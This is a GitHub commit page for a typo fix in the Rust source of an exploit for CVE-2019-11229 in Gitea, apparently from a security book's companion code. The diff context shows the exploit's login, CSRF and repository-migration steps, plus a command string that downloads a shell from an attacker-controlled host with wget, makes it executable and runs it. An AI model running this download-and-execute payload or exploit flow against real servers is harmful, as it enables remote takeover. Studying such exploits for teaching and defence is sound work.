Skip to content

Commit

Permalink
Merge pull request skerkour#47 from tatsuya0619/fix-typo-ch07
Browse files Browse the repository at this point in the history
Fix typo: taregt -> target
  • Loading branch information
Sylvain Kerkour authored Apr 5, 2022
2 parents a43c410 + 572bc24 commit 2c3c740
Showing 1 changed file with 7 additions and 7 deletions.
14 changes: 7 additions & 7 deletions ch_07/exploits/cve_2019_11229/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ async fn main() -> Result<()> {
let password = "password123";
let host_addr = "192.168.1.1";
let host_port: u16 = 3000;
let taregt_url = "http://192.168.1.2:3000".trim_end_matches("/").to_string();
let target_url = "http://192.168.1.2:3000".trim_end_matches("/").to_string();
let cmd =
"wget http://192.168.1.1:8080/shell -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell";

Expand All @@ -33,7 +33,7 @@ async fn main() -> Result<()> {
println!("Logging in");

let body1 = [("user_name", username), ("password", password)];
let url1 = format!("{}/user/login", taregt_url);
let url1 = format!("{}/user/login", target_url);
let res1 = http_client.post(url1).form(&body1).send().await?;
if !res1.status().is_success() {
println!("Login unsuccessful");
Expand All @@ -44,7 +44,7 @@ async fn main() -> Result<()> {

println!("Retrieving user ID");

let res2 = http_client.get(format!("{}/", taregt_url)).send().await?;
let res2 = http_client.get(format!("{}/", target_url)).send().await?;
if !res2.status().is_success() {
println!("Could not retrieve user ID");
exit(1);
Expand Down Expand Up @@ -133,7 +133,7 @@ async fn main() -> Result<()> {
"http://{}:{}/{}.git",
host_addr, host_port, git_temp_path_str
);
let cookies_url = taregt_url.parse::<Url>().expect("parsing cookies url");
let cookies_url = target_url.parse::<Url>().expect("parsing cookies url");
let csrf_token = get_csrf_token(&cookie_store, &cookies_url)?;
let body3 = [
("_csrf", csrf_token.as_str()),
Expand All @@ -143,7 +143,7 @@ async fn main() -> Result<()> {
("mirror", "on"),
];
let res3 = http_client
.post(format!("{}/repo/migrate", taregt_url))
.post(format!("{}/repo/migrate", target_url))
.form(&body3)
.send()
.await?;
Expand Down Expand Up @@ -171,7 +171,7 @@ async fn main() -> Result<()> {
let res4 = http_client
.post(format!(
"{}/{}/{}/settings",
taregt_url, &username, &repo_name
target_url, &username, &repo_name
))
.form(&body4)
.send()
Expand All @@ -189,7 +189,7 @@ async fn main() -> Result<()> {
let res5 = http_client
.post(format!(
"{}/{}/{}/settings",
taregt_url, &username, &repo_name
target_url, &username, &repo_name
))
.form(&body5)
.send()
Expand Down

0 comments on commit 2c3c740

Please sign in to comment.